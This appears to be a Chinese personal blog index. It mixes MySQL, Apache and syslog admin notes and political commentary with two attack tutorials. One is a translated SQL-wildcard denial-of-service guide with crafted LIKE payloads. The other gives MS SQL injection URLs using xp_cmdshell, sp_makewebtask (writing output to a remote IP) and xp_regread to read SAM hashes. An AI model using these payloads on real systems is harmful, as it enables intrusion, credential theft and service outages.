The Mirages

樱桃沟夹事

mysql的master和slave是一般系统上经常使用到的一个。 但是这个模式有个很大的问题,slave机器一直都是通过单线程模式来运行,这个其实就已经算是瓶颈了。 第二,涉及到网络环境,如果交换机网络广播较多,或者跨交换机,那同步的速度也还是非常慢的。 第三,slave机器CPU和内存起码得跟master一样才行。 第四:sql语句优化,以及数据库的优化。经常查看下slow log会是很有帮助的。其实这个是最重要的对于数据库层面的同步。如果在master 经常通过show full processlist会出现语句,那只能说明SQL写的太烂了。 第五:数据库引擎的选择,这个要根据业务类型来选择。 第六:是选择state replication还是row replication还是混合也是根据自己的业务类型来选择,可以通过监控线程中是select还是update以及insert多来考虑。 http://forums.mysql.com/read.php?26,225394,225394 这里介绍了一种新的replication方式。但是国内还甚少看到有人用这个,所以出了问题一般也就在mail list中找答案了。 同时mysql已经准备发布replication的第二版本,已经能够支持多线程了。试目以待

关于闹运会 4年一届的闹运会终于快要开了,终于轮到北京了。 和很多人一样当年申办成功的时候是非常的兴奋,但是随着时间的临近这种感觉是越来越没有了。 这个闹运会给全国人民和北京人民闹的不可开交。 蒙特利尔奥运会是个很好的教材 ,这个城市76年举办的奥运会,终于在2006年12月把因为举办奥运会的贷款还清。 当然我们国家根本不需要考虑这个,我们的政府是十分有钱的,反正怎么花都不需要还的,到需要换的时候直接跟老毛一样再次打劫就行。 但 是其它的呢? 北京因为举办奥运会而变的天更蓝了吗?水更清了吗?交通不拥挤了吗?看看每年的沙尘暴如期而至,永定河依然是那么的绿,果然是绿色奥运啊。交通呢?有多少 线路的空调公交车去支援奥运了,老百姓只好在大热天里坐没有空调的了。有多少奥迪公车去支援奥运了,于是我们的官老爷只好换车了,当然成本还是让他人承 担。 当然好处还是很多的,比如让好多志愿者可以到处显摆了,你坐公交地铁拿出你的证可以免费,那其它地方难道也有好处,这下北京公交系统可完了,这下少赚了好多了,当然最后有国家给你补贴呢。 好了不说表面的了,也不抨击什么了。 从以上各个方面我们可以看到社会主义的好处。那就是可以集中全国的力量去干一件事情,而且大多可以完成的不错。比如我们的两弹一星什么。当然这个也是专制社会的特征,国家让你干啥你就干啥,这种社会如日本通过军事等手段推行维新,快速现代化等等。 但是问题也是明显存在的,这种完成任务的方法和手段并不能让人内心去真正接受。日本虽然很现代,但是他们根本没有学到西方的民主风气,他们的思想是依然的 如此传统。我们虽然有原子弹,虽然进太空,虽然奥运金牌可以超过俄罗斯,德国,英国,法国,但是我们国民的体质并不会因为这个而提高。我们GDP虽然也很 高,但是国民还是很穷,我们虽然每年GDP增长的很快,但是国民工资只有倒退。大学毕业生的工资一年一年下降,还好意思说普及大学教育。

是06年不知道哪里看到的,我本人是不会写出这样的文字的。 刚刚走上社会的年轻人,充满了蓄势待发的豪情、青春的朝气、前卫的思想,梦想着丰富的待遇和轰轰烈烈的事业。可是,社会毕竟是一所包罗万象、喧嚣复杂的大学校,这里没有寒暑假,拒绝虚假和肤浅,更拒绝空想和庸碌,难以预告何时开课何时放学。 如何在涉世之初少走弯路,有一个好的开端,开始一番成功的事业?以下是一些先行者积累的10条有益的涉世忠告。好好地遵循、把握这些忠告和建议吧,比起所学的课堂课程来,它毫不逊色! 1. 买个闹钟,以便按时叫醒你。贪睡和不守时,都将成为你工作和事业上的绊脚石,任何时候都一样。不仅要学会准时,更要学会提前。就如你坐车去某地,沿途的风 景很美,你忍不住下车看一看,后来虽然你还是赶到了某地,却不是准时到达。”闹钟”只是一种简单的标志和提示,真正灵活、实用的时间,掌握在每个人的心 中。 2. 如果你不喜欢现在的工作,要么辞职不干,要么就闭嘴不言。初出茅庐,往往眼高手低,心高气傲,大事做不了,小事不愿做。不要养成挑三拣四的习惯。不要雨天烦打伞,不带伞又怕淋雨,处处表现出不满的情绪。记住,不做则已,要做就要做好。 3. 每个人都有孤独的时候。要学会忍受孤独,这样才会成熟起来。年轻人嘻嘻哈哈、打打闹闹惯了,到了一个陌生的环境,面对形形色色的人和事,一下子不知所措起 来,有时连一个可以倾心说话的地方也没有。这时,千万别浮躁,学会静心,学会忍受孤独。在孤独中思考,在思考中成熟,在成熟中升华。不要因为寂寞而乱了方 寸,而去做无聊无益的事情,白白浪费了宝贵的时间。 4. 走运时要做好倒霉的准备。有一天,一只狐狸走到一个葡萄园外,看见里面水灵灵的葡萄垂涎欲滴。可是外面有栅栏挡着,无法进去。于是它一狠心绝食三日,减肥 之后,终于钻进葡萄园内饱餐一顿。当它心满意足地想离开葡萄园时,发觉自己吃得太饱,怎么也钻不出栅栏了。相信任何人都不愿做这样的狐狸。退路同样重要。 饱带干粮,晴带雨伞,点滴积累,水到渠成。有的东西今天似乎一文不值,但有朝一日也许就会身价百倍。 5. 不要像玻璃那样脆弱。有的人眼睛总盯着自己,所以长不高看不远;总是喜欢怨天尤人,也使别人无比厌烦。没有苦中苦,哪来甜中甜?不要像玻璃那样脆弱,而应像水晶一样透明,太阳一样辉煌,腊梅一样坚强。既然睁开眼睛享受风的清凉,就不要埋怨风中细小的沙粒。 6. 管住自己的嘴巴。不要谈论自己,更不要议论别人。谈论自己往往会自大虚伪,在名不副实中失去自己。议论别人往往陷入鸡毛蒜皮的是非口舌中纠缠不清。每天下 班后和你的那些同事朋友喝酒聊天可不是件好事,因为,这中间往往会把议论同事、朋友当做话题。背后议论人总是不好的,尤其是议论别人的短处,这些会降低你 的人格。 7. 机会从不会”失掉”,你失掉了,自有别人会得到。不要凡事在天,守株待兔,更不要寄希望于”机会”。机会只不过是相对于充分准备而又善于创造机会的人而言 的。也许,你正为失去一个机会而懊悔、埋怨的时候,机会正被你对面那个同样的”倒霉鬼”给抓住了。没有机会,就要创造机会,有了机会,就要巧妙地抓住。 8. 若电话老是不响,你该打出去。很多时候,电话会给你带来意想不到的收获,它不是花瓶,仅仅成为一种摆设。交了新朋友,别忘了老朋友,朋友多了路好走。交际的一大诀窍就是主动。好的人缘好的口碑,往往助你的事业更上一个台阶。 9. 千万不要因为自己已经到了结婚年龄而草率结婚。想结婚,就要找一个能和你心心相印、相辅相携的伴侣。不要因为放纵和游戏而恋爱,不要因为恋爱而影响工作和事业,更不要因一桩草率而失败的婚姻而使人生受阻。感情用事往往会因小失大。 10. 写出你一生要做的事情,把单子放在皮夹里,经常拿出来看。人生要有目标,要有计划,要有提醒,要有紧迫感。一个又一个小目标串起来,就成了你一生的大目标。生活富足了,环境改善了,不要忘了皮夹里那张看似薄薄的单子。

出处:Linux系统管理手册

笔记:Zauc

syslog是xnix最为重要和最有特点的一个工具。它几乎可以把你想记录的日志都记录下来。系统默认的记录位置一般为/var/log/下。

但是每个发行版本默认所记录的内容各不相同,但是大体以下几个日志是肯定有的

文件

程序

阅读全文 »

DOS ATTACKS USING SQL WILDCARDS(SQL通配符拒绝服务攻击) 原作者:Ferruh Mavituna 1 什么样的应用容易被SQL通配符攻击 (1)拥有SQL后台 (2)数据库拥有300条以上的数据,同时每行数据超过500个字节 (3)有一个应用程序级别的搜索功能 2 搜索查询 SQL服务器支持下列通配符在LIKE查询中”%”,”[]“,”^”和”“ 如果你在搜索框里输入”foo”, SQL查询的结果应该是 SELECT * FROM Aricle WHERE Content LIKE ‘%foo%’ 上面这个查询通常在拥有100000条数据的数据库中查询时间将少于1秒。 下面这个查询在只有2600条记录的情况下花费了6秒 SELECT TOP 10 * FROM Article WHERE Content LIKE ‘%[^!%/%a?F%D)(F%)%([)({}%){()}£$&N%)$*£()$*R”)][%](%[x])%a][$*“£$-9]%’ 如果攻击者在这6秒中内又执行一个如下查询 SELECT TOP 10 * FROM Article WHERE Content LIKE ‘%[^!%/%a?F%D)(F%)%([)({}%){()}£$&N%)$*£()$*R”)][%](%[x])%a][$*“£$-9]%’ OR Content LIKE ‘%[X%/%a?F%D)(F%)%([)({}%){()}£$&N%)$*£()$*R”)][%](%[x])%a][$*“£$-9]%’ OR Content LIKE ‘%[()%/%a?F%D)(F%)%([)({}%){()}£$&N%)$*£()$*R”)][%](%[x])%a][$*“£$-9]_%’ 那CPU在100%的负载的情况下将要执行36秒。 3 SQL通配符拒绝服务攻击测试 测试过程相当简单,就是创建包含很多通配符的查询让系统不能返回一个正常值。 4 连接池 攻击查询的时间依赖于应用程序连接池的设定。 ASP.NET的默认设置是,最大连接数量是100,30秒超时。如果我们进行100多个都超过30秒的查询,那其他人就根本无法正常使用这个系统了。 连接池耗尽攻击将会消耗一部分的CPU资源,在数据库服务器上进行常时间的运行对他们来说是足够的了。另外一个理由是长时间查询时可能包括了有问题系统调用代码,相当的NDS查询和HTTP请求。 5 构建搜索关键字 构建搜索关键字需要注意以下几点: (1)首先要确定数据库是否能搜索所有数据 (2)每个OR语句需要有所不同,否则数据库会自动优化这些语句。至少每个语句之间要修改一个字符 (3)对于Microsoft SQL Server,我的经验是在每个字符后加入“[”将导致更长的执行时间。 LIKE ‘%[a[! -z]@$!%                                                                             - 1050 ms. LIKE ‘%[aaaaaaaaa[! -z]@$!%’                                                                - 1600 ms. LIKE ‘%[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[! -z]@$!%’         - 3700 ms. (4)更长的查询将导致更长的执行时间。所以我们要构建应用程序允许范围内足够长的查询。 (5)开始和结尾加上“%”也会导致更长时间的查询 (6)每次查询需要有所不同,不然有些应用是有查询缓存存在的。 (7)对于不同大的目标系统和数据需要组合不同的查询。 6 真实影响 对于含有搜索功能的系统的后台数据库都有影响。 这里我们将使用2个论坛系统作为范例。一个是基于ASP.NET+SQL Sever,另外一个是ASP+SQL Sever (1)在2000条记录的情况下就导致了数据库连接超时,查询时间超过30秒 (2)范例系统在带宽1.5M的情况下在2分钟内停止运行 这里我并不是说只有论坛系统有问题,其他任何WEB应用系统都有这样的问题。 7 其他DBMSs 这个文章里并没有说到其它数据库,但是其实其他数据库对于这种攻击同样是非常脆弱的,只是SQL Sever是LIKE通配符查询攻击的主要数据库 以下的搜索操作对于这个问题同样是脆弱的: (1) PostgreSQL 正则表达式匹配 (~) (2)SQL Sever全文查询(CONTAINS) (3)MS Access LIKE查询 (LIKE) (4)MySQL 增则表达式 (REGEXP) 8 增加攻击的效果 如果应用程序允许你选择字段查询: (1) 通过OR来搜索它们,然后选择所有字段 (2)如果它是使用AND操作来搜索的,那就选择最大的字段,而不要选择一个varchar类型,也不要使用使用空格来避免许多AND条件。 尽可能的选择OR条件来进行查询。 让应用程序尽可能的使用连接表,组合多个表进行查询 通过OR来联合多个表达式,使用空格在多个关键字中间。例如: [r/a)%fm (r/b) (r-d) 9 DDOS(分布式拒绝服务攻击)攻击 如果一个应用程序接受通过GET请求的搜索查询,那攻击者就可以使用“WEB SPAMMING TOOL”来自动注册论坛,发送带有攻击代码相关信息和BLOG回复或者发送带有搜索URL的图片。通过这些方式攻击者就可以用其他网站访问者对目标应用进行攻击。 攻击者可以执行XSS攻击通过一些公共的web网站,然后发送”ifram”或者”image”标记来攻击应用。 10 应用程序级别的DOS 我们前面的攻击只是对于数据库服务器产生影响,而对于应用程序本身是没有影响的。 我们需要让应用程序返回尽可能多的记录。这可以让应用程序依赖应用程序的算法和SQL查询进行处理。假设应用程序要返回10W条数据由于有问题的SQL查询分页,这将导致CPU消耗大量的资源在应用程序和数据库层上。 在现实中,我们经常可以发送“-1”等不存在的请求分页。 如:http://www.codeplex.com/subsonic/WorkItem/View.aspx?WorkItemId=16112 分页问题不光在搜索页面存在,同样也存在于当查询条件不存在的时候分页。 11 SQL注入和DOS攻击 如果一个应用对于SQL注入没有防范的话SQL注入是相当平常的,我们在没有SQL注入的情况下也可以进行DOS攻击。不同的DBMS支持不同的复杂应用上无限循环。 一些DBMS同样支持一些特别的功能如MySQL的BENCHMARK就允许重复的执行一个功能。 根据攻击者的权限,攻击者可以很轻易的DROP掉数据库中所有表。甚至还可以关闭系统和数据库服务器。 12 防范 对于需要过滤的通配符在程序上需要返回。程序上要限制一些通配符的使用 限制搜索:最好不要有高级搜索功能,没有高级搜索功能就过滤所有的通配符。 使用验证码 限制每个用户的CPU使用时间 白名单:只有哪些字符能够使用 验证码安全 限制SQL查询执行的时间 防止应用程序级别的DOS:在查询时使用LIMIT或者TOP类似的关键字能够保护应用程序不被DOS攻击。

MS SQL server默认安装了超过1000多存储过程。下面3个存储过程是通常容易被利用 xp_cmdshell sp_makeWebtask xp_regread xp_cmdshell。任何DOS命令都可以通过xp_cmdshell发布,包括目录列表,windows的net view和net use命令,出站的TFTP文件传输等。xp_cmdshell过程的事务物理SQL语句如下 EXEC master..xp_cmdshell ““ 如果有一个用于查询后台MS SQL服务器的ASP脚本,那就可以添加单引号,并采用如下方式调用xp_cmdshell存储过程: /find.asp?MenuID=1988’;EXEC%20master..xp_cmdshell’ping.exe%20202.96.209.5 %20为16进制空格,我发送了一个ping 202.96.209.5的命令。 sp_makewebtask。使用sp_makwebtask过程,可以读取SQL SELECT命令所得到的结果到表格形式的HTML文件中。它的语法如下: EXEC master..sp_makeWebtask “out.html”,”“ 上面那个IP和共享文件夹需要有可写权限。 /find.asp?MenuID=1988’;EXEC%20master..sp_makewebtask”202.96.209.5pubmenu.html”, “EXEC%20master_xp_cmdshell%20’net%20users’” 如果%20不能使用尝试使用+号来代替。 xp_regread。xp_regread过程允许从数据库服务器中读取注册表值以获取一些软件的加密的口令字符串,比如windows SAM数据库(如果没有用SYSKEY加密),我们可以执行如下语句 EXEC xp_regread HKLM, ‘SECURITYSAMDomainsAccount’, ‘c:tempout.txt’ 当然我们还可以配合前面2个存储过程来使用这个 /find.asp?MenuID=1988’;EXEC%20xp_regread ‘HKLM’, ‘SECURITYSAMDomainsAccount’,’c:tempout.txt’ 如何删除就自己GOOGLE下吧

作者:timo 联系方式: greycd ## gmail dot com 如何使web服务器安全(apache) web服务器(apache) 一个像apache这样的web服务器,它最主要的功能是能让HTML页面在客户端浏览器上显现。 功能 web服务器需要能接入互联网,只需要对静态HTML页面提供支持 服务器能支持基于名字的虚拟主机 一些页面只能某些特殊的IP和用户才能访问(基本的认证) 服务器需要记录web请求的日志(包括浏览器的信息) web服务器必须对PHP/Perl脚本语言支持 PHP/Perl组件必须能在本地MySQL数据库中读写用户信息 安全设想 1. 操作系统越坚固越好,包括低于本地和远程攻击 2. 服务器除了HTTP,最好不要提供其他任何网络服务 3. 远程访问服务器必须通过防火墙,关闭所有出去的连接,和只放过HTTP访问连接。 4. 在系统上必须只有一个有效的Apache服务 5. 只有完全必须的apache模块才被装载 6. 任何诊断web页面和自动目录索引服务必须被关闭 7. 服务器只能透露最少的关于自身的信息 8. apache服务必须运行在一个单独的UID/GID下,不能使用其它任何的系统进程 9. apache服务进程被续被限制访问文件系统(chrooting) 10. 不能有shell程序能在apache的chrooted环境中出现 11. PHP配置必须内建的安全机制 12. PHP脚本只能在chrooted环境中执行 13. apache服务器必须拒绝所有请求(GET和POST),含有HTML标记(跨站攻击)或者“’”和”””(可能有SQL注入攻击) 14. 不能有PHP警告和错误信息显示给正式访问的用户 15. 记录进站的GET和PORT请求到一个日志文件。 操作系统 UNIX或者类UNIX例如Linux,FreeBSD等等对于Apache最合适,微软的windows只能提供非常有限的安全能力,对于apache并不合适 先决条件 1. 如果你需要apache和ssl安全认证支持,那OpenSSL就需要先被安装 2. 如何需要apache和postgresql数据库连接支持,那先要安装postgresql或者需要mysql数据库支持那就安装mysql 3. 如果需要LDAP目录支持那还要安装OpenLDAP 4. 如果需要IMAP和POP能力,那还要装IMAP和POP 软件准备 1. UNIX兼容的命令 2. 含有/var/tmp目录 3. RedHat Linux 4. 所有步骤使用root帐户 5. apache版本为1.3 6. Mod_SSL 7. Mod_Perl 8. Mod_PHP Apache : http://www.apache.org/ Mod_Perl : http://perl.apache.org/ Mod_SSL : http://www.modssl.org/ Mod_PHP : http://www.php.net/ 没有的话就去上述网站下载 安装步骤一 把所有tar包放在同一目录中 ```c

[root@localhost]/# cp apache_version.tar.gz /var/tmp [root@localhost]/# cp mod_ssl-version-version.tar.gz /var/tmp [root@localhost]/# cp mod_perl-version.tar.gz /var/tmp [root@localhost]/# cp php-version.tar.gz /var/tmp [root@localhost]/# cd /var/tmp/
解压包c

[root@localhost]/tmp# tar xzpf apache_version.tar.gz [root@localhost]/tmp# tar xzpf mod_ssl-version-version.tar.gz [root@localhost]/tmp# tar xzpf mod_perl-version.tar.gz [root@localhost]/tmp# tar xzpf php-version.tar.gz Mod_SSL [root@localhost]/# cd mod_ssl-version-version [root@localhost]/# CC=”egcs” CFLAGS=”-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions” ./configure –with-apache=../apache_1.3.37 –with-crt=/etc/ssl/certs/server.crt –with-key=/etc/ssl/private/server.key
\*CC – C 编译器 \*\*egcs – 增强GNU边一起 \*\*\*CFLAGS – O2 (i386), O3 (i586), O9 (i686) 优化选项 PHP 4c

[root@localhost]# cd apache_1.3.37
Configurec

[root@localhost]# CC=”egcs” OPTIM=”-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions” CFLAGS=”-DDYNAMIC_MODULE_LIMIT=0” ./configure –prefix=/home/httpd –bindir=/usr/bin –sbindir=/usr/sbin –libexecdir=/usr/lib/apache –includedir=/usr/include/apache –sysconfdir=/etc/httpd/conf –localstatedir=/var –runtimedir=/var/run –logfiledir=/var/log/httpd –datadir=/home/httpd –proxycachedir=/var/cache/httpd –mandir=/usr/man –proxycachedir=/var/cache/httpd –mandir=/usr/man [root@deep ]/php-4.0# make && make install
Mod_PERLc

[root@localhost] cd ../mod_perl-version.version/ [root@localhost] perl Makefile.PL EVERYTHING=1 APACHE_SRC=../apache_1.3.37/src USE_APACI=1 PREP_HTTPD=1 DO_HTTPD=1 [root@localhost]/mod_perl-version.version# make && make install
Apachec

阅读全文 »

王小波有篇文章叫《花刺子模信使问题》,里面讲了一个故事。说古代花刺子模国的国王有一个特别的习俗,凡是给君王带来好消息的信使,就会获得晋升; 凡是给君王带来坏消息的信使,就会被送去喂老虎。花刺子模国到底有没有这个习俗不重要,关键是这个君王天真的认为只要把带来坏消息的信使杀了就只会剩下好 消息了。 而我们的监管部门似乎跟这个君王没什么区别,他们也同样天真的认为,只要把反对的声音压制住了,那就天下太平了。这无论是从物理学还是心理学上都是说不通的,历史证明压制和专制只能换来更大的反抗。 今年中国发生的大事还是非常多的,国家领导人的改选,西藏事件,家乐福事件等等。 而我国对于网络的监控和封锁已经是无所不用其及。无论是技术上的如GFW,还是行政命令上的如家乐福。 关于家乐福我想很多人都已经反应了,在谷歌和百度上搜索已经无法得到结果了。 这里我们可以看看其他方面的监控。下面2个截图是刚刚对于sina和sohu上的2个截图 在图中的选择部分大家都看到了什么呢? 上面我们能看到明明有10W多的留言,但是实际显示却是1W多条,而留下的留言全都是正面的消息。 为什么会这样呢?我想sohu和sina也并不想这样的,因为这样做只会增加他们的工作量,这当然是背后中国电信命令的,中国电信的BOSS不想成为那个带来坏消息的信使,一旦那样的话他可是做不上那个位置了。

cronolog的进程在apache1.3下无法释放的问题给解决了 http://cronolog.org/mailing-list/msg00134.html Example: ErrorLog “|exec /usr/local/cronolog/sbin/cronolog /var/log/apache/hostname_error.%Y%m%d” 本来一直想这个是不是算是bug呢? 现在看来是给解决了,但是不是我解决的,是头给解决的。这个算是从根本上把问题给解决了。 而我本来还在写那个自动杀进程的脚本。把最早的cronolog进程列出来,然后每天杀一次,可这个总归不是解决问题的根本,现在算是从根本上把问题给解决了。 我心里就一直认为这个是bug,暂时是无法解决的,看来自己看待事物需要改变的东西还很多。

如何做到:

  1. 部署容易: 做好部署脚本,包含各种不同的应用的部署脚本

  2. 易维护:错误列表需要做好,各种安装文档作好。

  3. 更安全:做好安全协议和各种安全措施

运维体系面临的问题 系统部分

  1. 系统多样性: windows, linux, freebsd各种操作系统,而且很多时候运行于上面的程序也会各不相同。

  2. 应用多样性: web前端, master db, slave db, ha以及各种不同应用程序。

  3. 人员更替频繁: 操作流程要做好。

网络部分

  1. 应用复杂: 每个项目都需要不同的架设方式

  2. 各种协议问题

阅读全文 »
0%